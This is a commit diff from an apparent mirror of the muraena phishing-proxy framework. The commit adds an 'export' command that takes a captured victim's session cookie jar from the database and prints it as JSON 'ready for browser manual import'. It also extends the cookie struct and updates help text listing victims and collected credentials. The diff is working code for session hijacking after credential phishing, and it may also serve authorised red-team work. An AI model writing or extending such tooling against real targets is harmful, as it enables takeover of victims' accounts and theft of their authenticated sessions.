mirror of
https://github.com/muraenateam/muraena.git
synced 2026-08-05 00:02:37 +00:00
Added export <sessionID> to export a full session cookieJar as JSON (ready for browser manual import)
This commit is contained in:
parent
0341e42349
commit
23d595e6bd
4 changed files with 74 additions and 10 deletions
|
|
@ -35,14 +35,16 @@ type VictimCredential struct {
|
|||
// KEY scheme:
|
||||
// victim:<ID>:cookiejar:<COOKIE_NAME>
|
||||
type VictimCookie struct {
|
||||
Name string `redis:"name"`
|
||||
Value string `redis:"value"`
|
||||
Domain string `redis:"domain"`
|
||||
Expires string `redis:"expires"`
|
||||
Path string `redis:"path"`
|
||||
HTTPOnly bool `redis:"httpOnly"`
|
||||
Secure bool `redis:"secure"`
|
||||
Session bool `redis:"session"` // is the cookie a session cookie?
|
||||
Name string `redis:"name" json:"name"`
|
||||
Value string `redis:"value" json:"value"`
|
||||
Domain string `redis:"domain" json:"domain"`
|
||||
Expires string `redis:"expires" json:"expirationDate"`
|
||||
Path string `redis:"path" json:"path"`
|
||||
HTTPOnly bool `redis:"httpOnly" json:"httpOnly"`
|
||||
Secure bool `redis:"secure" json:"secure"`
|
||||
SameSite string `redis:"sameSite" json:"sameSite"`
|
||||
Session bool `redis:"session" json:"session"` // is the cookie a session cookie?
|
||||
|
||||
}
|
||||
|
||||
func StoreVictim(id string, victim *Victim) error {
|
||||
|
|
|
|||
|
|
@ -71,6 +71,15 @@ func (module *Tracker) Prompt(what string) {
|
|||
case "credentials":
|
||||
module.ShowCredentials()
|
||||
}
|
||||
|
||||
// export cookie jar as JSON file, like: export ygTCC
|
||||
if strings.HasPrefix(what, "export ") {
|
||||
id := strings.Split(what, " ")
|
||||
if len(id) != 2 {
|
||||
return
|
||||
}
|
||||
module.ExportSession(id[1])
|
||||
}
|
||||
}
|
||||
|
||||
// IsEnabled returns a boolead to indicate if the module is enabled or not
|
||||
|
|
|
|||
|
|
@ -1,8 +1,11 @@
|
|||
package tracking
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"github.com/muraenateam/muraena/module/necrobrowser"
|
||||
"os"
|
||||
"time"
|
||||
|
||||
"github.com/evilsocket/islazy/tui"
|
||||
|
||||
|
|
@ -67,6 +70,50 @@ func (module *Tracker) ShowCredentials() {
|
|||
|
||||
}
|
||||
|
||||
// ShowVictims prints the list of victims
|
||||
func (module *Tracker) ExportSession(id string) {
|
||||
|
||||
const timeLayout = "2006-01-02 15:04:05 -0700 MST"
|
||||
|
||||
rawCookies, err := db.GetVictimCookiejar(id)
|
||||
if err != nil {
|
||||
module.Debug("error fetching victim %d cookie jar: %s", id, err)
|
||||
}
|
||||
|
||||
// this extra loop and struct is needed since browsers expect the expiration time in unix time, so also different type
|
||||
var cookieJar []necrobrowser.SessionCookie
|
||||
|
||||
for _, c := range rawCookies {
|
||||
log.Debug("trying to parse %s with layout %s", c.Expires, timeLayout)
|
||||
t, err := time.Parse(timeLayout, c.Expires)
|
||||
if err != nil {
|
||||
log.Warning("warning: cant's parse Expires field (%s) of cookie %s. skipping cookie", c.Expires, c.Name)
|
||||
continue
|
||||
}
|
||||
|
||||
nc := necrobrowser.SessionCookie{
|
||||
Name: c.Name,
|
||||
Value: c.Value,
|
||||
Domain: c.Domain,
|
||||
Expires: t.Unix(),
|
||||
Path: c.Path,
|
||||
HTTPOnly: c.HTTPOnly,
|
||||
Secure: c.Secure,
|
||||
Session: t.Unix() < 1,
|
||||
}
|
||||
|
||||
cookieJar = append(cookieJar, nc)
|
||||
}
|
||||
|
||||
cookieJarJson, err := json.Marshal(cookieJar)
|
||||
if err != nil {
|
||||
module.Warning("Error marshalling the cookieJar: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
log.Info("Victim %s CookieJar:\n\n%s", id, cookieJarJson)
|
||||
}
|
||||
|
||||
// ShowVictims prints the list of victims
|
||||
func (module *Tracker) ShowVictims() {
|
||||
|
||||
|
|
|
|||
|
|
@ -50,6 +50,10 @@ func Prompt(s *Session) {
|
|||
s.showTracking(result)
|
||||
}
|
||||
|
||||
if strings.HasPrefix(result, "export ") {
|
||||
s.showTracking(result)
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
|
@ -63,18 +67,20 @@ func validate(input string) error {
|
|||
return nil
|
||||
}
|
||||
|
||||
if strings.HasPrefix(input, "export ") {
|
||||
return nil
|
||||
}
|
||||
return errors.New(InvalidCommand)
|
||||
}
|
||||
|
||||
func help() {
|
||||
log.Raw("**************************************************************************")
|
||||
log.Raw("* NOTE: This feature is not fully implemented yet. ")
|
||||
log.Raw("* Follow evolutions on https://github.com/muraenateam/muraena/issues/5")
|
||||
log.Raw("* Options")
|
||||
log.Raw("* - help: %s", tui.Bold("Prints this help"))
|
||||
log.Raw("* - exit: %s", tui.Bold("Exit from "+core.Name))
|
||||
log.Raw("* - victims: %s", tui.Bold("Show active victims"))
|
||||
log.Raw("* - credentials: %s", tui.Bold("Show collected credentials"))
|
||||
log.Raw("* - export <sessionID>: %s", tui.Bold("Export a session as JSON"))
|
||||
log.Raw("**************************************************************************")
|
||||
|
||||
}
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue